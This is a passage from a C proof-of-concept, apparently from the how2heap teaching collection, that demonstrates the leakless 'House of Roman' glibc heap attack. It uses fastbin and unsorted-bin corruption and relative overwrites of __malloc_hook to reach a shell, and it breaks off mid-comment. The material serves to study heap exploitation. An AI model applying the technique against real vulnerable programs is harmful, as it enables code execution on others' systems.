#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

/* 
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.

Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman

POC written by Maxwell Dulin (Strikeout) 
*/

// Use this in order to turn off printf buffering (messes with heap alignment)
void* init(){
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
}


int main(){

	/* 
	The main goal of this technique is to create a **leakless** heap 
	exploitation technique in order to get a shell. This is mainly 
	done using **relative overwrites** in order to get pointers in 
	the proper locations without knowing the exact value of the pointer.

	The first step is to get a pointer inside of __malloc_hook. This 
	is done by creating a fastbin bin that looks like the following: 
	ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc
	 (with a relative overwrite) to point to __malloc_hook. 
			
	The next step is to run an unsorted bin attack on the __malloc_hook 
	(which is now controllable from the previous attack).  Again, we run 
	the unsorted_bin attack by altering the chunk->bk with a relative overwrite. 

	Finally, after launching the unsorted_bin attack to put a libc value 
	inside of __malloc_hook, we use another relative overwrite on the 
	value of __malloc_hook to point to a one_gadget, system or some other function.
	
	Now, the next time we run malloc we pop a shell! :) 
	However, this does come at a cost: 12 bits of randomness must be 
	brute forced (0.02% chance) of working.

	The original write up for the *House of Roman* can be found at
	 https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.





	This technique requires the ability to edit fastbin and unsorted bin 
	pointers via UAF or overflow of some kind. Additionally, good control 
	over the allocations sizes and freeing is required for this technique.
	*/

	char* introduction = "\nWelcome to the House of Roman\n\n"
			     "This is a heap exploitation technique that is LEAKLESS.\n"
			     "There are three stages to the attack: \n\n"
			     "1. Point a fastbin chunk to __malloc_hook.\n"
			     "2. Run the unsorted_bin attack on __malloc_hook.\n"
			     "3. Relative overwrite on main_arena at __malloc_hook.\n\n"
			     "All of the stuff mentioned above is done using two main concepts:\n"
                             "relative overwrites and heap feng shui.\n\n"
			     "However, this technique comes at a cost:\n"
                             "12-bits of entropy need to be brute forced.\n"
			     "That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
			     "**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n";
	puts(introduction);	
	init();


	/*	
	Part 1: Fastbin Chunk points to __malloc_hook

	Getting the main_arena in a fastbin chunk ordering is the first step.
	This requires a ton of heap feng shui in order to line this up properly. 
	However, at a glance, it looks like the following:

	First, we need to get a chunk that is in the fastbin with a pointer to
	a heap chunk in the fd. 
	Second, we point this chunk to a pointer to LibC (in another heap chunk). 
	All of the setup below is in order to get the configuration mentioned 
	above setup to perform the relative overwrites. ";


	Getting the pointer to libC can be done in two ways: 
			- A split from a chunk in the small/large/unsorted_bins 
				gets allocated to a size of 0x70. 
			- Overwrite the size of a small/large chunk used previously to 0x71.

	For the sake of example, this uses the first option because it 
	requires less vulnerabilities.	
	*/

	puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
	puts("Setting up chunks for relative overwrites with heap feng shui.\n");

	// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.	
	uint8_t* fastbin_victim = malloc(0x60); 

	// Allocate this in order to have good alignment for relative 
	// offsets later (only want to overwrite a single byte to prevent 
	// 4 bits of brute on the heap).
	malloc(0x80);

	// Offset 0x100
	uint8_t* main_arena_use = malloc(0x80);
	
	// Offset 0x190
	// This ptr will be used for a relative offset on the 'main_arena_use' chunk
	uint8_t* relative_offset_heap = malloc(0x60);
	
	// Free the chunk to put it into the unsorted_bin. 
	// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
	free(main_arena_use);
	

	/* 
	Get part of the unsorted_bin chunk (the one that we just freed). 
	We want this chunk because the fd and bk of this chunk will 
	contain main_arena ptrs (used for relative overwrite later).

	The size is particularly set at 0x60 to put this into the 0x70 fastbin later. 

	This has to be the same size because the __malloc_hook fake 
	chunk (used later) uses the fastbin size of 0x7f. There is
	 a security check (within malloc) that the size of the chunk matches the fastbin size.
	*/

	puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
	uint8_t* fake_libc_chunk = malloc(0x60);

	//// NOTE: This is NOT part of the exploit... \\\
	// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC. 
	long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;


	// We need the filler because the overwrite below needs 
	// to have a ptr in the fd slot in order to work. 
	//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later. 
	free(relative_offset_heap);	

    	/* 
    	Create a UAF on the chunk. Recall that the chunk that fastbin_victim 
	points to is currently at the offset 0x190 (heap_relative_offset).
     	*/
	free(fastbin_victim);

	/*

	Now, we start doing the relative overwrites, since that we have 
	the pointers in their proper locations. The layout is very important to 
	understand for this.

	Current heap layout: 
	0x0:   fastbin_victim       - size 0x70 
	0x70:  alignment_filler     - size 0x90
	0x100: fake_libc_chunk      - size 0x70
	0x170: leftover_main        - size 0x20
	0x190: relative_offset_heap - size 0x70 

	bin layout: 
			fastbin:  fastbin_victim -> relative_offset_heap
			unsorted: leftover_main
	
	Now, the relative overwriting begins:
	Recall that fastbin_victim points to relative_offset_heap 
	(which is in the 0x100-0x200 offset range). The fastbin uses a singly 
	linked list, with the next chunk in the 'fd' slot.

	By *partially* editing the fastbin_victim's last byte (from 0x90 
	to 0x00) we have moved the fd pointer of fastbin_victim to 
	fake_libc_chunk (at offset 0x100).

	Also, recall that fake_libc_chunk had previously been